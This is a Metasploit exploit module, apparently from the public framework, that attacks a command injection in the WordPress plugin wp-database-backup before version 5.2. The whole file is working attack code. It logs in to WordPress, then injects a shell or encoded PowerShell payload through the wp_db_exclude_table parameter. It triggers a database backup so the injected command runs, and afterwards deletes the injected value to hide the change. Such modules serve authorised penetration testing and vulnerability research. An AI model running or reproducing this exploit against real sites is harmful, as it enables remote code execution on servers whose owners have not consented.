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体验盒子##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::CmdStager
include Msf::Exploit::Powershell
include Msf::Exploit::Remote::HTTP::Wordpress
def initialize(info = {})
super(update_info(info,
'Name' => 'WP Database Backup RCE',
'Description'=> %q(
There exists a command injection vulnerability in the WordPress plugin
`wp-database-backup` for versions < 5.2.
For the backup functionality, the plugin generates a `mysqldump` command
to execute. The user can choose specific tables to exclude from the backup
by setting the `wp_db_exclude_table` parameter in a POST request to the
`wp-database-backup` page. The names of the excluded tables are included in
the `mysqldump` command unsanitized. Arbitrary commands injected through the
`wp_db_exclude_table` parameter are executed each time the functionality
for creating a new database backup are run.
Authentication is required to successfully exploit this vulnerability.
),
'License'=> MSF_LICENSE,
'Author' =>
[
'Mikey Veenstra / Wordfence',# Vulnerability Discovery
'Shelby Pace'# Metasploit module
],
'References' =>
[
[ 'URL', 'https://www.wordfence.com/blog/2019/05/os-command-injection-vulnerability-patched-in-wp-database-backup-plugin/' ],
],
'Platform' => [ 'win', 'linux' ],
'Arch' => [ ARCH_X86, ARCH_X64 ],
'Targets'=>
[
[
'Windows',
{
'Platform'=> 'win',
'Arch'=> [ ARCH_X86, ARCH_X64 ]
}
],
[
'Linux',
{
'Platform'=>'linux',
'Arch'=>[ ARCH_X86, ARCH_X64 ],
'CmdStagerFlavor' =>'printf'
}
]
],
'DisclosureDate' => '2019-04-24',
'DefaultTarget'=> 0
))
register_options(
[
OptString.new('USERNAME', [ true, 'Wordpress username', '' ]),
OptString.new('PASSWORD', [ true, 'Wordpress password', '' ]),
OptString.new('TARGETURI', [ true, 'Base path to WordPress installation', '/' ])
])
end
def check
return CheckCode::Unknown unless wordpress_and_online?
changelog_uri = normalize_uri(target_uri.path, 'wp-content', 'plugins', 'wp-database-backup', 'readme.txt')
res = send_request_cgi(
'method'=>'GET',
'uri' =>changelog_uri
)
if res && res.code == 200
version = res.body.match(/=+\s(\d+\.\d+)\.?\d*\s=/)
return CheckCode::Detected unless version && version.length > 1
vprint_status("Version of wp-database-backup detected: #{version[1]}")
return CheckCode::Appears if Gem::Version.new(version[1]) < Gem::Version.new('5.2')
end
CheckCode::Safe
end
def exploit
cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD'])
fail_with(Failure::NoAccess, 'Unable to log into WordPress') unless cookie
res = create_exclude_table(cookie)
nonce = get_nonce(res)
create_backup(cookie, nonce)
clear_exclude_table(cookie)
end
def create_exclude_table(cookie)
@exclude_uri = normalize_uri(target_uri.path, 'wp-admin', 'tools.php')
res = send_request_cgi(
'method'=>'GET',
'uri' =>@exclude_uri,
'cookie'=>cookie,
'vars_get'=>{ 'page'=>'wp-database-backup' }
)
fail_with(Failure::NotFound, 'Unable to reach the wp-database-backup settings page') unless res && res.code == 200
print_good('Reached the wp-database-backup settings page')
if datastore['TARGET'] == 1
comm_payload = generate_cmdstager(concat_operator: ' && ', temp: './')
comm_payload = comm_payload.join('&&')
comm_payload = comm_payload.gsub('\'', '')
comm_payload = "; #{comm_payload} ;"
else
comm_payload = " & #{cmd_psh_payload(payload.encoded, payload.arch, remove_comspec: true, encode_final_payload: true)} & ::"
end
table_res = send_request_cgi(
'method'=>'POST',
'uri' =>@exclude_uri,
'cookie'=>cookie,
'vars_post' =>
{
'wpsetting' =>'Save',
'wp_db_exclude_table[wp_comment]' =>comm_payload
}
)
fail_with(Failure::UnexpectedReply, 'Failed to submit payload as an excluded table') unless table_res && table_res.code
print_good('Successfully added payload as an excluded table')
res.get_html_document
end
def get_nonce(response)
fail_with(Failure::UnexpectedReply, 'Failed to get a proper response') unless response
div_res = response.at('p[@class="submit"]')
fail_with(Failure::NotFound, 'Failed to find the element containing the nonce') unless div_res
wpnonce = div_res.to_s.match(/_wpnonce=([0-9a-z]*)/)
fail_with(Failure::NotFound, 'Failed to retrieve the wpnonce') unless wpnonce && wpnonce.length > 1
wpnonce[1]
end
def create_backup(cookie, nonce)
first_res = send_request_cgi(
'method'=>'GET',
'uri' =>@exclude_uri,
'cookie'=>cookie,
'vars_get'=>
{
'page'=>'wp-database-backup',
'_wpnonce'=>nonce,
'action'=>'createdbbackup'
}
)
res = send_request_cgi(
'method'=>'GET',
'uri' =>@exclude_uri,
'cookie'=>cookie,
'vars_get'=>
{
'page'=>'wp-database-backup',
'notification'=>'create'
}
)
fail_with(Failure::UnexpectedReply, 'Failed to create database backup') unless res && res.code == 200 && res.body.include?('Database Backup Created Successfully')
print_good('Successfully created a backup of the database')
end
def clear_exclude_table(cookie)
res = send_request_cgi(
'method'=>'POST',
'uri' =>@exclude_uri,
'cookie'=>cookie,
'vars_post' =>
{
'wpsetting' =>'Save',
'wp_db_exclude_table[wp_comment]' =>'wp_comment'
}
)
fail_with(Failure::UnexpectedReply, 'Failed to delete the remove the payload from the excluded tables') unless res && res.code == 200
print_good('Successfully deleted the payload from the excluded tables list')
end
end
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